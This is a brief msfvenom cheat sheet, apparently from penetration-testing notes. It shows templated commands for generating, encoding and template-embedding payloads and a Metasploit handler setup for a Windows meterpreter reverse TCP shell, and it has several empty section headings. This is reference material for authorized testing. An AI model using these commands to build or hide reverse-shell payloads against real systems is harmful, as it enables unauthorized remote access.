Msfvenom

Creating a payload

msfvenom -p [payload] LHOST=[listeninghost] LPORT=[listeningport]

To view list of payloads:

msfvenom -l payloads 

To view the payload options:

msfvenom -p windows/x64/meterpreter_reverse_tcp --list-options

Creating a payload with encoding

msfvenom -p [payload] -e [encoder] -f [formattype] -i [iteration] <var=value> > outputfile

Creating a payload using a template

msfvenom -p [payload] <var=value> -x [template] -f [formattype] > outputfile

Listening for MSfvenom Payloads:

msf5>use exploit/multi/handler  
msf5>set payload windows/meterpreter/reverse_tcp  
msf5>set lhost <IP>  
msf5>set lport <PORT>  
msf5> set ExitOnSession false  
msf5>exploit -j  

Windows Payloads

Linux Payloads

Add a user in windows with msfvenom:

Web Payloads

Scripting Payloads

Resources:

Last updated